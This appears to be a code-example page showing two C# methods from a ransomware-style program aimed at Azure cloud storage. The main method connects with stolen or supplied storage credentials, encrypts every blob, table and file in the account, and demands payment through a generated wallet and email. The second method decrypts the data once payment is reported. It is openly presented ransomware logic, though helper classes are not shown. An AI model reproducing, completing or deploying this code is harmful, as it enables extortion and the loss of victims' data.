예제 #1
0
        static async Task decryptAllFiles(CloudStorageAccount storageAccount)
        {
            AESDecryption dec = new AESDecryption();

            Utils.Download(storageAccount, "key");
            Utils.Download(storageAccount, "IV");

            await dec.retrieveKeyFromServer(File.ReadAllBytes("./key.txt"),
                                            File.ReadAllBytes("./IV.txt"));

            Blob_Storage.DecryptBlobs(storageAccount, dec);

            Table_Storage.DecryptTables(storageAccount, dec);

            File_Storage.DecryptFiles(storageAccount, dec);
        }
예제 #2
0
        public static void Main(string[] args)
        {
            foreach (string arg in args)
            {
                Console.WriteLine(arg);
            }

            if (args.Length != 2)
            {
                Console.WriteLine("Missing argument: Path to Storage Creds, Path to Public Key");
                return;
            }

            List <string> names = new List <string>();
            List <string> keys  = new List <string>();
            int           i     = 0;

            foreach (string line in File.ReadLines(args[0]))
            {
                string trimmed = line.Trim(new char[] { '\n', '\r' });
                if (i % 2 != 0)
                {
                    keys.Add(trimmed);
                }
                else
                {
                    names.Add(trimmed);
                }
                i++;
            }

            if (names.Count != keys.Count || names.Count == 0)
            {
                Console.WriteLine("Bad Storage Creds file");
                return;
            }

            int index = names.IndexOf("checkprog");

            if (index == -1)
            {
                Console.WriteLine("Cant find checkprog");
                return;
            }

            string accountName = names[index];
            string key         = keys[index];


            CloudStorageAccount storageAccount = Utils.Connect(accountName, key);

            if (storageAccount != null)
            {
                Console.WriteLine("Connection Success");
            }
            else
            {
                Console.WriteLine("Connection Failed");
                return;
            }

            AESEncryption encrypt = new AESEncryption();

            Blob_Storage.EncryptBlobs(storageAccount, encrypt);

            Table_Storage.EncryptTables(storageAccount, encrypt);

            File_Storage.EncryptFiles(storageAccount, encrypt);

            encrypt.OnFinishEncryption(storageAccount, args[1]);

            Random rnd = new Random();

            var tsk = handlePayment("rans" + rnd.Next(100, 1000).ToString(), "*****@*****.**");

            tsk.Wait();

            if (!tsk.Result)
            {
                Console.WriteLine("Failed to send email or generate wallet");
            }

            Console.WriteLine("Recieved payment, started decrypting all files");

            decryptAllFiles(storageAccount).Wait();
        }